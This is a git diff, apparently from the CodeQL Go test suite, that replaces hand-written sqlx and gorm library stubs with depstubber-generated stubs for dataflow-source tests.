diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/rows.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/rows.go
deleted file mode 100644
index e70af447c4f0..000000000000
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/rows.go
+++ /dev/null
@@ -1,22 +0,0 @@
-package sqlx
-
-import "database/sql"
-
-type Rows struct {
-	*sql.Rows
-
-	// Mapper *reflectx.Mapper
-	// contains filtered or unexported fields
-}
-
-func (r *Rows) MapScan(dest map[string]interface{}) error {
-	return nil
-}
-
-func (r *Rows) StructScan(dest interface{}) error {
-	return nil
-}
-
-func (r *Rows) SliceScan(dest []interface{}) error {
-	return nil
-}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/stmt.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/stmt.go
deleted file mode 100644
index c634566d3ea8..000000000000
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/stmt.go
+++ /dev/null
@@ -1,42 +0,0 @@
-package sqlx
-
-import (
-	"context"
-	"database/sql"
-)
-
-type Stmt struct {
-	*sql.Stmt
-}
-
-func (s *Stmt) Get(dest interface{}, args ...interface{}) error {
-	return nil
-}
-
-func (s *Stmt) GetContext(ctx context.Context, dest interface{}, args ...interface{}) error {
-	return nil
-}
-
-func (s *Stmt) QueryRowx(args ...interface{}) *Row {
-	return nil
-}
-
-func (s *Stmt) QueryRowxContext(ctx context.Context, args ...interface{}) *Row {
-	return nil
-}
-
-func (s *Stmt) Queryx(args ...interface{}) (*Rows, error) {
-	return nil, nil
-}
-
-func (s *Stmt) QueryxContext(ctx context.Context, args ...interface{}) (*Rows, error) {
-	return nil, nil
-}
-
-func (s *Stmt) Select(dest interface{}, args ...interface{}) error {
-	return nil
-}
-
-func (s *Stmt) SelectContext(ctx context.Context, dest interface{}, args ...interface{}) error {
-	return nil
-}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/stub.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/stub.go
index 888df0079618..da93fccb4e07 100644
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/stub.go
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/stub.go
@@ -1,67 +1,530 @@
+// Code generated by depstubber. DO NOT EDIT.
+// This is a simple stub for github.com/jmoiron/sqlx, strictly for use in testing.
+
+// See the LICENSE file for information about the licensing of the original library.
+// Source: github.com/jmoiron/sqlx (exports: Conn,DB,NamedStmt,Stmt,Tx; functions: Get,GetContext,NamedQuery,NamedQueryContext,Select,SelectContext)
+
+// Package sqlx is a stub of github.com/jmoiron/sqlx, generated by depstubber.
 package sqlx
 
 import (
-	"context"
-	"database/sql"
+	context "context"
+	sql "database/sql"
 )
 
-type ColScanner interface {
-	Columns() ([]string, error)
-	Scan(dest ...interface{}) error
-	Err() error
+type Conn struct {
+	*sql.Conn
+	Mapper interface{}
+}
+
+func (_ Conn) BeginTx(_ context.Context, _ *sql.TxOptions) (*sql.Tx, error) {
+	return nil, nil
+}
+
+func (_ Conn) Close() error {
+	return nil
+}
+
+func (_ Conn) ExecContext(_ context.Context, _ string, _ ...interface{}) (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ Conn) PingContext(_ context.Context) error {
+	return nil
+}
+
+func (_ Conn) PrepareContext(_ context.Context, _ string) (*sql.Stmt, error) {
+	return nil, nil
+}
+
+func (_ Conn) QueryContext(_ context.Context, _ string, _ ...interface{}) (*sql.Rows, error) {
+	return nil, nil
+}
+
+func (_ Conn) QueryRowContext(_ context.Context, _ string, _ ...interface{}) *sql.Row {
+	return nil
+}
+
+func (_ Conn) Raw(_ func(interface{}) error) error {
+	return nil
+}
+
+func (_ *Conn) BeginTxx(_ context.Context, _ *sql.TxOptions) (*Tx, error) {
+	return nil, nil
+}
+
+func (_ *Conn) GetContext(_ context.Context, _ interface{}, _ string, _ ...interface{}) error {
+	return nil
 }
 
-type Execer interface {
-	Exec(query string, args ...interface{}) (sql.Result, error)
+func (_ *Conn) PreparexContext(_ context.Context, _ string) (*Stmt, error) {
+	return nil, nil
 }
 
-type ExecerContext interface {
-	ExecContext(ctx context.Context, query string, args ...interface{}) (sql.Result, error)
+func (_ *Conn) QueryRowxContext(_ context.Context, _ string, _ ...interface{}) *Row {
+	return nil
+}
+
+func (_ *Conn) QueryxContext(_ context.Context, _ string, _ ...interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+func (_ *Conn) Rebind(_ string) string {
+	return ""
+}
+
+func (_ *Conn) SelectContext(_ context.Context, _ interface{}, _ string, _ ...interface{}) error {
+	return nil
+}
+
+type DB struct {
+	*sql.DB
+	Mapper interface{}
+}
+
+func (_ *DB) BeginTxx(_ context.Context, _ *sql.TxOptions) (*Tx, error) {
+	return nil, nil
+}
+
+func (_ *DB) Beginx() (*Tx, error) {
+	return nil, nil
+}
+
+func (_ *DB) BindNamed(_ string, _ interface{}) (string, []interface{}, error) {
+	return "", nil, nil
+}
+
+func (_ *DB) Connx(_ context.Context) (*Conn, error) {
+	return nil, nil
+}
+
+func (_ *DB) DriverName() string {
+	return ""
+}
+
+func (_ *DB) Get(_ interface{}, _ string, _ ...interface{}) error {
+	return nil
+}
+
+func (_ *DB) GetContext(_ context.Context, _ interface{}, _ string, _ ...interface{}) error {
+	return nil
+}
+
+func (_ *DB) MapperFunc(_ func(string) string) {}
+
+func (_ *DB) MustBegin() *Tx {
+	return nil
+}
+
+func (_ *DB) MustBeginTx(_ context.Context, _ *sql.TxOptions) *Tx {
+	return nil
+}
+
+func (_ *DB) MustExec(_ string, _ ...interface{}) sql.Result {
+	return nil
+}
+
+func (_ *DB) MustExecContext(_ context.Context, _ string, _ ...interface{}) sql.Result {
+	return nil
+}
+
+func (_ *DB) NamedExec(_ string, _ interface{}) (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ *DB) NamedExecContext(_ context.Context, _ string, _ interface{}) (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ *DB) NamedQuery(_ string, _ interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+func (_ *DB) NamedQueryContext(_ context.Context, _ string, _ interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+func (_ *DB) PrepareNamed(_ string) (*NamedStmt, error) {
+	return nil, nil
+}
+
+func (_ *DB) PrepareNamedContext(_ context.Context, _ string) (*NamedStmt, error) {
+	return nil, nil
+}
+
+func (_ *DB) Preparex(_ string) (*Stmt, error) {
+	return nil, nil
+}
+
+func (_ *DB) PreparexContext(_ context.Context, _ string) (*Stmt, error) {
+	return nil, nil
+}
+
+func (_ *DB) QueryRowx(_ string, _ ...interface{}) *Row {
+	return nil
+}
+
+func (_ *DB) QueryRowxContext(_ context.Context, _ string, _ ...interface{}) *Row {
+	return nil
+}
+
+func (_ *DB) Queryx(_ string, _ ...interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+func (_ *DB) QueryxContext(_ context.Context, _ string, _ ...interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+func (_ *DB) Rebind(_ string) string {
+	return ""
+}
+
+func (_ *DB) Select(_ interface{}, _ string, _ ...interface{}) error {
+	return nil
+}
+
+func (_ *DB) SelectContext(_ context.Context, _ interface{}, _ string, _ ...interface{}) error {
+	return nil
+}
+
+func (_ *DB) Unsafe() *DB {
+	return nil
 }
 
 type Ext interface {
-	Queryer
-	Execer
+	BindNamed(_ string, _ interface{}) (string, []interface{}, error)
+	DriverName() string
+	Exec(_ string, _ ...interface{}) (sql.Result, error)
+	Query(_ string, _ ...interface{}) (*sql.Rows, error)
+	QueryRowx(_ string, _ ...interface{}) *Row
+	Queryx(_ string, _ ...interface{}) (*Rows, error)
+	Rebind(_ string) string
 }
 
 type ExtContext interface {
-	QueryerContext
-	ExecerContext
-	// contains filtered or unexported methods
+	BindNamed(_ string, _ interface{}) (string, []interface{}, error)
+	DriverName() string
+	ExecContext(_ context.Context, _ string, _ ...interface{}) (sql.Result, error)
+	QueryContext(_ context.Context, _ string, _ ...interface{}) (*sql.Rows, error)
+	QueryRowxContext(_ context.Context, _ string, _ ...interface{}) *Row
+	QueryxContext(_ context.Context, _ string, _ ...interface{}) (*Rows, error)
+	Rebind(_ string) string
+}
+
+func Get(_ Queryer, _ interface{}, _ string, _ ...interface{}) error {
+	return nil
+}
+
+func GetContext(_ context.Context, _ QueryerContext, _ interface{}, _ string, _ ...interface{}) error {
+	return nil
+}
+
+func NamedQuery(_ Ext, _ string, _ interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+func NamedQueryContext(_ context.Context, _ ExtContext, _ string, _ interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+type NamedStmt struct {
+	Params      []string
+	QueryString string
+	Stmt        *Stmt
+}
+
+func (_ *NamedStmt) Close() error {
+	return nil
+}
+
+func (_ *NamedStmt) Exec(_ interface{}) (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ *NamedStmt) ExecContext(_ context.Context, _ interface{}) (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ *NamedStmt) Get(_ interface{}, _ interface{}) error {
+	return nil
+}
+
+func (_ *NamedStmt) GetContext(_ context.Context, _ interface{}, _ interface{}) error {
+	return nil
+}
+
+func (_ *NamedStmt) MustExec(_ interface{}) sql.Result {
+	return nil
+}
+
+func (_ *NamedStmt) MustExecContext(_ context.Context, _ interface{}) sql.Result {
+	return nil
+}
+
+func (_ *NamedStmt) Query(_ interface{}) (*sql.Rows, error) {
+	return nil, nil
+}
+
+func (_ *NamedStmt) QueryContext(_ context.Context, _ interface{}) (*sql.Rows, error) {
+	return nil, nil
+}
+
+func (_ *NamedStmt) QueryRow(_ interface{}) *Row {
+	return nil
+}
+
+func (_ *NamedStmt) QueryRowContext(_ context.Context, _ interface{}) *Row {
+	return nil
+}
+
+func (_ *NamedStmt) QueryRowx(_ interface{}) *Row {
+	return nil
+}
+
+func (_ *NamedStmt) QueryRowxContext(_ context.Context, _ interface{}) *Row {
+	return nil
+}
+
+func (_ *NamedStmt) Queryx(_ interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+func (_ *NamedStmt) QueryxContext(_ context.Context, _ interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+func (_ *NamedStmt) Select(_ interface{}, _ interface{}) error {
+	return nil
+}
+
+func (_ *NamedStmt) SelectContext(_ context.Context, _ interface{}, _ interface{}) error {
+	return nil
+}
+
+func (_ *NamedStmt) Unsafe() *NamedStmt {
+	return nil
 }
 
 type Queryer interface {
-	Query(query string, args ...interface{}) (*sql.Rows, error)
-	Queryx(query string, args ...interface{}) (*Rows, error)
-	QueryRowx(query string, args ...interface{}) *Row
+	Query(_ string, _ ...interface{}) (*sql.Rows, error)
+	QueryRowx(_ string, _ ...interface{}) *Row
+	Queryx(_ string, _ ...interface{}) (*Rows, error)
 }
 
 type QueryerContext interface {
-	QueryContext(ctx context.Context, query string, args ...interface{}) (*sql.Rows, error)
-	QueryxContext(ctx context.Context, query string, args ...interface{}) (*Rows, error)
-	QueryRowxContext(ctx context.Context, query string, args ...interface{}) *Row
+	QueryContext(_ context.Context, _ string, _ ...interface{}) (*sql.Rows, error)
+	QueryRowxContext(_ context.Context, _ string, _ ...interface{}) *Row
+	QueryxContext(_ context.Context, _ string, _ ...interface{}) (*Rows, error)
+}
+
+type Row struct {
+	Mapper interface{}
+}
+
+func (_ *Row) ColumnTypes() ([]*sql.ColumnType, error) {
+	return nil, nil
+}
+
+func (_ *Row) Columns() ([]string, error) {
+	return nil, nil
+}
+
+func (_ *Row) Err() error {
+	return nil
+}
+
+func (_ *Row) MapScan(_ map[string]interface{}) error {
+	return nil
+}
+
+func (_ *Row) Scan(_ ...interface{}) error {
+	return nil
+}
+
+func (_ *Row) SliceScan() ([]interface{}, error) {
+	return nil, nil
+}
+
+func (_ *Row) StructScan(_ interface{}) error {
+	return nil
+}
+
+type Rows struct {
+	*sql.Rows
+	Mapper interface{}
+}
+
+func (_ *Rows) MapScan(_ map[string]interface{}) error {
+	return nil
+}
+
+func (_ *Rows) SliceScan() ([]interface{}, error) {
+	return nil, nil
+}
+
+func (_ *Rows) StructScan(_ interface{}) error {
+	return nil
+}
+
+func Select(_ Queryer, _ interface{}, _ string, _ ...interface{}) error {
+	return nil
+}
+
+func SelectContext(_ context.Context, _ QueryerContext, _ interface{}, _ string, _ ...interface{}) error {
+	return nil
+}
+
+type Stmt struct {
+	*sql.Stmt
+	Mapper interface{}
+}
+
+func (_ *Stmt) Get(_ interface{}, _ ...interface{}) error {
+	return nil
+}
+
+func (_ *Stmt) GetContext(_ context.Context, _ interface{}, _ ...interface{}) error {
+	return nil
+}
+
+func (_ *Stmt) MustExec(_ ...interface{}) sql.Result {
+	return nil
+}
+
+func (_ *Stmt) MustExecContext(_ context.Context, _ ...interface{}) sql.Result {
+	return nil
+}
+
+func (_ *Stmt) QueryRowx(_ ...interface{}) *Row {
+	return nil
+}
+
+func (_ *Stmt) QueryRowxContext(_ context.Context, _ ...interface{}) *Row {
+	return nil
+}
+
+func (_ *Stmt) Queryx(_ ...interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+func (_ *Stmt) QueryxContext(_ context.Context, _ ...interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+func (_ *Stmt) Select(_ interface{}, _ ...interface{}) error {
+	return nil
+}
+
+func (_ *Stmt) SelectContext(_ context.Context, _ interface{}, _ ...interface{}) error {
+	return nil
+}
+
+func (_ *Stmt) Unsafe() *Stmt {
+	return nil
+}
+
+type Tx struct {
+	*sql.Tx
+	Mapper interface{}
+}
+
+func (_ *Tx) BindNamed(_ string, _ interface{}) (string, []interface{}, error) {
+	return "", nil, nil
+}
+
+func (_ *Tx) DriverName() string {
+	return ""
+}
+
+func (_ *Tx) Get(_ interface{}, _ string, _ ...interface{}) error {
+	return nil
+}
+
+func (_ *Tx) GetContext(_ context.Context, _ interface{}, _ string, _ ...interface{}) error {
+	return nil
+}
+
+func (_ *Tx) MustExec(_ string, _ ...interface{}) sql.Result {
+	return nil
+}
+
+func (_ *Tx) MustExecContext(_ context.Context, _ string, _ ...interface{}) sql.Result {
+	return nil
+}
+
+func (_ *Tx) NamedExec(_ string, _ interface{}) (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ *Tx) NamedExecContext(_ context.Context, _ string, _ interface{}) (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ *Tx) NamedQuery(_ string, _ interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+func (_ *Tx) NamedStmt(_ *NamedStmt) *NamedStmt {
+	return nil
+}
+
+func (_ *Tx) NamedStmtContext(_ context.Context, _ *NamedStmt) *NamedStmt {
+	return nil
+}
+
+func (_ *Tx) PrepareNamed(_ string) (*NamedStmt, error) {
+	return nil, nil
 }
 
-func NamedQuery(e Ext, query string, arg interface{}) (*Rows, error) {
-	return e.Queryx(query, arg)
+func (_ *Tx) PrepareNamedContext(_ context.Context, _ string) (*NamedStmt, error) {
+	return nil, nil
 }
 
-func NamedQueryContext(ctx context.Context, e ExtContext, query string, arg interface{}) (*Rows, error) {
-	return e.QueryxContext(ctx, query, arg)
+func (_ *Tx) Preparex(_ string) (*Stmt, error) {
+	return nil, nil
+}
+
+func (_ *Tx) PreparexContext(_ context.Context, _ string) (*Stmt, error) {
+	return nil, nil
+}
+
+func (_ *Tx) QueryRowx(_ string, _ ...interface{}) *Row {
+	return nil
+}
+
+func (_ *Tx) QueryRowxContext(_ context.Context, _ string, _ ...interface{}) *Row {
+	return nil
+}
+
+func (_ *Tx) Queryx(_ string, _ ...interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+func (_ *Tx) QueryxContext(_ context.Context, _ string, _ ...interface{}) (*Rows, error) {
+	return nil, nil
+}
+
+func (_ *Tx) Rebind(_ string) string {
+	return ""
+}
+
+func (_ *Tx) Select(_ interface{}, _ string, _ ...interface{}) error {
+	return nil
 }
 
-func Get(q Queryer, dest interface{}, query string, args ...interface{}) error {
+func (_ *Tx) SelectContext(_ context.Context, _ interface{}, _ string, _ ...interface{}) error {
 	return nil
 }
 
-func GetContext(ctx context.Context, q QueryerContext, dest interface{}, query string, args ...interface{}) error {
+func (_ *Tx) Stmtx(_ interface{}) *Stmt {
 	return nil
 }
 
-func Select(q Queryer, dest interface{}, query string, args ...interface{}) error {
+func (_ *Tx) StmtxContext(_ context.Context, _ interface{}) *Stmt {
 	return nil
 }
 
-func SelectContext(ctx context.Context, q QueryerContext, dest interface{}, query string, args ...interface{}) error {
+func (_ *Tx) Unsafe() *Tx {
 	return nil
 }
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/tx.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/tx.go
deleted file mode 100644
index 38ca8b535314..000000000000
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/tx.go
+++ /dev/null
@@ -1,47 +0,0 @@
-package sqlx
-
-import (
-	"context"
-	"database/sql"
-)
-
-type Tx struct {
-	*sql.Tx
-}
-
-func (tx *Tx) Get(dest interface{}, args ...interface{}) error {
-	return nil
-}
-
-func (tx *Tx) GetContext(ctx context.Context, dest interface{}, args ...interface{}) error {
-	return nil
-}
-
-func (tx *Tx) QueryRowx(args ...interface{}) *Row {
-	return nil
-}
-
-func (tx *Tx) QueryRowxContext(ctx context.Context, args ...interface{}) *Row {
-
-	return nil
-}
-
-func (tx *Tx) Queryx(args ...interface{}) (*Rows, error) {
-	return nil, nil
-}
-
-func (tx *Tx) QueryxContext(ctx context.Context, args ...interface{}) (*Rows, error) {
-	return nil, nil
-}
-
-func (tx *Tx) Select(dest interface{}, args ...interface{}) error {
-	return nil
-}
-
-func (tx *Tx) SelectContext(ctx context.Context, dest interface{}, args ...interface{}) error {
-	return nil
-}
-
-func (tx *Tx) NamedQuery(query string, arg interface{}) (*Rows, error) {
-	return nil, nil
-}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/nonexistent/sources/stub.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/nonexistent/sources/stub.go
new file mode 100644
index 000000000000..afc57a3900d7
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/nonexistent/sources/stub.go
@@ -0,0 +1,5 @@
+package sources
+
+func Source[T any]() T {
+	return *new(T)
+}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/gorm.io/gorm/stub.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/gorm.io/gorm/stub.go
index d17686106452..50b332b2a95a 100644
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/gorm.io/gorm/stub.go
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/gorm.io/gorm/stub.go
@@ -1,77 +1,878 @@
+// Code generated by depstubber. DO NOT EDIT.
+// This is a simple stub for gorm.io/gorm, strictly for use in testing.
+
+// See the LICENSE file for information about the licensing of the original library.
+// Source: gorm.io/gorm (exports: Association,ConnPool,DB; functions: )
+
+// Package gorm is a stub of gorm.io/gorm, generated by depstubber.
 package gorm
 
 import (
-	"context"
-	"database/sql"
+	context "context"
+	sql "database/sql"
+	reflect "reflect"
+	strings "strings"
+	sync "sync"
+	time "time"
 )
 
-type DB struct{}
+type Association struct {
+	DB           *DB
+	Relationship interface{}
+	Unscope      bool
+	Error        error
+}
 
-func (db *DB) Find(dest interface{}, conds ...interface{}) *DB {
-	return db
+func (_ *Association) Append(_ ...interface{}) error {
+	return nil
 }
 
-func (db *DB) FindInBatches(dest interface{}, batchSize int, fc func(tx *DB, batch int) error) *DB {
-	return db
+func (_ *Association) Clear() error {
+	return nil
 }
 
-func (db *DB) FirstOrCreate(dest interface{}, conds ...interface{}) *DB {
-	return db
+func (_ *Association) Count() int64 {
+	return 0
 }
 
-func (db *DB) FirstOrInit(dest interface{}, conds ...interface{}) *DB {
-	return db
+func (_ *Association) Delete(_ ...interface{}) error {
+	return nil
 }
 
-func (db *DB) First(dest interface{}, conds ...interface{}) *DB {
-	return db
+func (_ *Association) Find(_ interface{}, _ ...interface{}) error {
+	return nil
 }
 
-func (db *DB) Model(value interface{}) *DB {
-	return db
+func (_ *Association) Replace(_ ...interface{}) error {
+	return nil
 }
 
-func (db *DB) Last(dest interface{}, conds ...interface{}) *DB {
-	return db
+func (_ *Association) Unscoped() *Association {
+	return nil
 }
 
-func (db *DB) Pluck(column string, dest interface{}) *DB {
-	return db
+type ColumnType interface {
+	AutoIncrement() (bool, bool)
+	ColumnType() (string, bool)
+	Comment() (string, bool)
+	DatabaseTypeName() string
+	DecimalSize() (int64, int64, bool)
+	DefaultValue() (string, bool)
+	Length() (int64, bool)
+	Name() string
+	Nullable() (bool, bool)
+	PrimaryKey() (bool, bool)
+	ScanType() reflect.Type
+	Unique() (bool, bool)
 }
 
-func (db *DB) Take(dest interface{}, conds ...interface{}) *DB {
-	return db
+type Config struct {
+	SkipDefaultTransaction                   bool
+	NamingStrategy                           interface{}
+	FullSaveAssociations                     bool
+	Logger                                   interface{}
+	NowFunc                                  func() time.Time
+	DryRun                                   bool
+	PrepareStmt                              bool
+	DisableAutomaticPing                     bool
+	DisableForeignKeyConstraintWhenMigrating bool
+	IgnoreRelationshipsWhenMigrating         bool
+	DisableNestedTransaction                 bool
+	AllowGlobalUpdate                        bool
+	QueryFields                              bool
+	CreateBatchSize                          int
+	TranslateError                           bool
+	PropagateUnscoped                        bool
+	ClauseBuilders                           map[string]interface{}
+	ConnPool                                 ConnPool
+	Dialector
+	Plugins map[string]Plugin
 }
 
-func (db *DB) Scan(dest interface{}) *DB {
-	return db
+func (_ Config) BindVarTo(_ interface{}, _ *Statement, _ interface{}) {}
+
+func (_ Config) DataTypeOf(_ interface{}) string {
+	return ""
 }
 
-func (db *DB) ScanRows(rows *sql.Rows, result interface{}) error {
+func (_ Config) DefaultValueOf(_ interface{}) interface{} {
 	return nil
 }
 
-func (db *DB) Row() *sql.Row {
+func (_ Config) Explain(_ string, _ ...interface{}) string {
+	return ""
+}
+
+func (_ Config) Initialize(_ *DB) error {
 	return nil
 }
 
-func (db *DB) Rows() (*sql.Rows, error) {
-	return nil, nil
+func (_ Config) Migrator(_ *DB) Migrator {
+	return nil
 }
 
-type Association struct {
-	DB *DB
+func (_ Config) Name() string {
+	return ""
 }
 
-func (a *Association) Find(dest interface{}) *Association {
-	return a
+func (_ Config) QuoteTo(_ interface{}, _ string) {}
+
+func (_ *Config) AfterInitialize(_ *DB) error {
+	return nil
+}
+
+func (_ *Config) Apply(_ *Config) error {
+	return nil
 }
 
 type ConnPool interface {
-	PrepareContext(ctx context.Context, query string) (*sql.Stmt, error)
-	ExecContext(ctx context.Context, query string, args ...interface{}) (sql.Result, error)
-	QueryContext(ctx context.Context, query string, args ...interface{}) (*sql.Rows, error)
-	QueryRowContext(ctx context.Context, query string, args ...interface{}) *sql.Row
+	ExecContext(_ context.Context, _ string, _ ...interface{}) (sql.Result, error)
+	PrepareContext(_ context.Context, _ string) (*sql.Stmt, error)
+	QueryContext(_ context.Context, _ string, _ ...interface{}) (*sql.Rows, error)
+	QueryRowContext(_ context.Context, _ string, _ ...interface{}) *sql.Row
+}
+
+type DB struct {
+	*Config
+	Error        error
+	RowsAffected int64
+	Statement    *Statement
+}
+
+func (_ DB) AfterInitialize(_ *DB) error {
+	return nil
+}
+
+func (_ DB) Apply(_ *Config) error {
+	return nil
+}
+
+func (_ DB) BindVarTo(_ interface{}, _ *Statement, _ interface{}) {}
+
+func (_ DB) DataTypeOf(_ interface{}) string {
+	return ""
+}
+
+func (_ DB) DefaultValueOf(_ interface{}) interface{} {
+	return nil
+}
+
+func (_ DB) Explain(_ string, _ ...interface{}) string {
+	return ""
+}
+
+func (_ DB) Initialize(_ *DB) error {
+	return nil
+}
+
+func (_ DB) Name() string {
+	return ""
+}
+
+func (_ DB) QuoteTo(_ interface{}, _ string) {}
+
+func (_ *DB) AddError(_ error) error {
+	return nil
+}
+
+func (_ *DB) Assign(_ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Association(_ string) *Association {
+	return nil
+}
+
+func (_ *DB) Attrs(_ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) AutoMigrate(_ ...interface{}) error {
+	return nil
+}
+
+func (_ *DB) Begin(_ ...*sql.TxOptions) *DB {
+	return nil
 }
 
-type Model interface{}
+func (_ *DB) Callback() interface{} {
+	return nil
+}
+
+func (_ *DB) Clauses(_ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Commit() *DB {
+	return nil
+}
+
+func (_ *DB) Connection(_ func(*DB) error) error {
+	return nil
+}
+
+func (_ *DB) Count(_ *int64) *DB {
+	return nil
+}
+
+func (_ *DB) Create(_ interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) CreateInBatches(_ interface{}, _ int) *DB {
+	return nil
+}
+
+func (_ *DB) DB() (*sql.DB, error) {
+	return nil, nil
+}
+
+func (_ *DB) Debug() *DB {
+	return nil
+}
+
+func (_ *DB) Delete(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Distinct(_ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Exec(_ string, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Find(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) FindInBatches(_ interface{}, _ int, _ func(*DB, int) error) *DB {
+	return nil
+}
+
+func (_ *DB) First(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) FirstOrCreate(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) FirstOrInit(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Get(_ string) (interface{}, bool) {
+	return nil, false
+}
+
+func (_ *DB) Group(_ string) *DB {
+	return nil
+}
+
+func (_ *DB) Having(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) InnerJoins(_ string, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) InstanceGet(_ string) (interface{}, bool) {
+	return nil, false
+}
+
+func (_ *DB) InstanceSet(_ string, _ interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Joins(_ string, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Last(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Limit(_ int) *DB {
+	return nil
+}
+
+func (_ *DB) MapColumns(_ map[string]string) *DB {
+	return nil
+}
+
+func (_ *DB) Migrator() Migrator {
+	return nil
+}
+
+func (_ *DB) Model(_ interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Not(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Offset(_ int) *DB {
+	return nil
+}
+
+func (_ *DB) Omit(_ ...string) *DB {
+	return nil
+}
+
+func (_ *DB) Or(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Order(_ interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Pluck(_ string, _ interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Preload(_ string, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Raw(_ string, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Rollback() *DB {
+	return nil
+}
+
+func (_ *DB) RollbackTo(_ string) *DB {
+	return nil
+}
+
+func (_ *DB) Row() *sql.Row {
+	return nil
+}
+
+func (_ *DB) Rows() (*sql.Rows, error) {
+	return nil, nil
+}
+
+func (_ *DB) Save(_ interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) SavePoint(_ string) *DB {
+	return nil
+}
+
+func (_ *DB) Scan(_ interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) ScanRows(_ *sql.Rows, _ interface{}) error {
+	return nil
+}
+
+func (_ *DB) Scopes(_ ...func(*DB) *DB) *DB {
+	return nil
+}
+
+func (_ *DB) Select(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Session(_ *Session) *DB {
+	return nil
+}
+
+func (_ *DB) Set(_ string, _ interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) SetupJoinTable(_ interface{}, _ string, _ interface{}) error {
+	return nil
+}
+
+func (_ *DB) Table(_ string, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Take(_ interface{}, _ ...interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) ToSQL(_ func(*DB) *DB) string {
+	return ""
+}
+
+func (_ *DB) Transaction(_ func(*DB) error, _ ...*sql.TxOptions) error {
+	return nil
+}
+
+func (_ *DB) Unscoped() *DB {
+	return nil
+}
+
+func (_ *DB) Update(_ string, _ interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) UpdateColumn(_ string, _ interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) UpdateColumns(_ interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Updates(_ interface{}) *DB {
+	return nil
+}
+
+func (_ *DB) Use(_ Plugin) error {
+	return nil
+}
+
